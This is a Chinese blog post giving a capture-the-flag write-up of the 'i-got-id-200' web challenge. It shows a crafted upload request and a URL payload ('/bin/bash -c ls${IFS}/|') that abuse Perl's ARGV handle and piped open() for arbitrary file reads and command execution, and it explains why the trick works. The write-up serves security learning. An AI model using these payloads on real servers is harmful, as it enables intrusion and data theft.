博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
攻防世界web进阶区i-got-id-200超详解
阅读量:2134 次
发布时间:2019-04-30

本文共 2947 字,大约阅读时间需要 9 分钟。

攻防世界web进阶区i-got-id-200详解

题目

提示:嗯刚建了一个网站

在这里插入图片描述
打开网页发现三个可以点击的
在这里插入图片描述
file处存在文件上传

在这里插入图片描述

form处存在xss
在这里插入图片描述
在这里插入图片描述

详解

.pl结尾的都是perl编写的网页文件

在这里插入图片描述
这里上传文件会直接进行展示,到这里就没了= =
只能看看师傅们的wp
师傅们猜测这里后台perl上传代码使用了param()函数

这里附上网上大佬们猜测的后台代码

use strict;use warnings; use CGI;my $cgi= CGI->new;if ( $cgi->upload( 'file' ) ) {
my $file= $cgi->param( 'file' ); while ( <$file> ) {
print "$_"; }}

首先bp抓包,我们新增一条

-----------------------------1569827749218Content-Disposition: form-data; name="file"; Content-Type: image/jpegARGV

在这里插入图片描述

我们盲猜一手,file.pl存在于var/www下
使用perl的那个漏洞(大佬的)
发现果然查看到了文件
和大佬们猜测的不错

HTTP/1.1 200 OKDate: Mon, 10 Aug 2020 01:57:50 GMTServer: Apache/2.4.18 (Ubuntu)Vary: Accept-EncodingContent-Length: 1605Connection: closeContent-Type: text/html; charset=ISO-8859-1			Perl File Upload		

Perl File Upload

File:

#!/usr/bin/perl
use strict;
use warnings;
use CGI;
my $cgi = CGI->new;
print $cgi->header;
print << "EndOfHTML";
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
Perl File Upload

Perl File Upload

File:

EndOfHTML
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
while (<$file>) {
print "$_";
print "
";
}
}
print '';

我们利用bash命令,进行RCE

在这里插入图片描述
我们在kali里面试试语句,发现莫得问题

/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|

%20是空格,不可以用加号代替,如果在hackbar可以省略不使用,直接空格即可(讲解如下)

直接ls是不行的

在这里插入图片描述

在这里插入图片描述

直接读取flag即可

在这里插入图片描述
在这里插入图片描述
这个地方是读取目录的…/

param()

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的:

漏洞分析

这里大佬告诉我们要利用@ARGV这个全局变量

首先要了解Perl中的ARGV全局特殊文件句柄

ARGV:遍历数组变量@ARGV中所有文件名的特殊文件句柄
@ARGV:是个全局数组特殊变量,传给脚本的命令行参数列表

Perl 会将 perl 命令行参数列表放入到数组 @ARGV 中,而默认情况下,这些命令行参数是 Perl 的数据输入源,也就是 说Perl 会以依次将他们当作文件进行读取。这里可以参考C语言的argv{}数组,但不同的是,

Perl语言的@ARGV中的第一个变量就是参数,而不是文件名。
Param() 函数会返回一个列表,但只有第一个文件会被放到变量中。

增加新的上传项,并删除filename,重大漏洞来了

删除filename后, $file的值(也就是文件名)变为了上传的内容,而输出的文件内容为空

通俗理解就是,新加入的文件内容替换了filename参数,传给了$file变量,<file>句柄中打开文件内容为空

那如果我们利用@ARGV,将$file替换为@ARGV,其句柄就是,就是命令行的参数呀,如果给的参数是文件名,就可以输出第一个文件名的所有内容。

这里我们利用以上信息构造,加入新的文件列表,删除filename,文件内容写入ARGV

那么后端执行,就会把$file的值换为ARGV,也就成了上述test.pl的内容,会把从命令行里读取到的参数,当作文件路径找到并输出。

那么如何传入命令行参数呢?其实直接在url给出参数就相当于命令行传参

那么,通过ARGV和url的参数就可以达到读取服务器上任意文件的目的

构造远程执行代码

这里空格需要用url编码转义,否则不符合http头部格式,不能随便加空格的

  • Linux中,/bin/bash 是bash解释器,这句话当作文件名时,首先会去寻找/bin/bash并且输出,那就是执行了解释器的功能
  • bash -c 的语法是,后面跟的第一个参数会当作命令来被bash解析,第二,第三个参数被认为是bash的参数,而不是第一个参数(命令)的参数
    举个例子:
bash -c ls /

会执行ls命令,列出当前目录,/会被当做bash的参数,没有意义,会找不到

如果我们想要列出根目录需要 “ls /”时,需要加入$IFS

IFS是linux的特殊变量,默认值是space空格, $是取变量值,$IFS就代表空格

就可以执行“ls /“的命令了

若只有 /bin/bash%20-c%20ls$IFS/ 命令会发现没有返回信息

因为,/etc/passwd本身就是文件,后端代码找到并输出返回在html标签中

而/bin/bash 一旦被访问输出,就是bash运行环境,整个语句的输出结果在shell的缓冲区里,也就是后台服务器才能看到,并不会输出到html标签中。在linux里我们只需要管道操作就可以指定结果的存放位置了。

Tips:Perl open()函数会默认打开一个管道!
这里利用Perl open()函数打开的管道,进行劫持,通过“|“操作符,把内容引入open()函数已经打开的管道中,就可以输出到html标签中啦!

部分转自:https://blog.csdn.net/wssmiss/article/details/105620355

你可能感兴趣的文章
Leetcode C++《热题 Hot 100-26》15.三数之和
查看>>
Leetcode C++《热题 Hot 100-28》19.删除链表的倒数第N个节点
查看>>
Leetcode C++《热题 Hot 100-29》22.括号生成
查看>>
Leetcode C++《热题 Hot 100-40》64.最小路径和
查看>>
Leetcode C++《热题 Hot 100-41》75.颜色分类
查看>>
Leetcode C++《热题 Hot 100-42》78.子集
查看>>
Leetcode C++《热题 Hot 100-43》94.二叉树的中序遍历
查看>>
Leetcode C++ 《第175场周赛-1 》5332.检查整数及其两倍数是否存在
查看>>
Leetcode C++ 《第175场周赛-2 》5333.制造字母异位词的最小步骤数
查看>>
Leetcode C++ 《第175场周赛-3》1348. 推文计数
查看>>
Leetcode C++《热题 Hot 100-44》102.二叉树的层次遍历
查看>>
Leetcode C++《热题 Hot 100-45》338.比特位计数
查看>>
读书摘要系列之《kubernetes权威指南·第四版》第一章:kubernetes入门
查看>>
Leetcode C++《热题 Hot 100-46》739.每日温度
查看>>
Leetcode C++《热题 Hot 100-47》236.二叉树的最近公共祖先
查看>>
Leetcode C++《热题 Hot 100-48》406.根据身高重建队列
查看>>
《kubernetes权威指南·第四版》第二章:kubernetes安装配置指南
查看>>
Leetcode C++《热题 Hot 100-49》399.除法求值
查看>>
Leetcode C++《热题 Hot 100-51》152. 乘积最大子序列
查看>>
[Kick Start 2020] Round A 1.Allocation
查看>>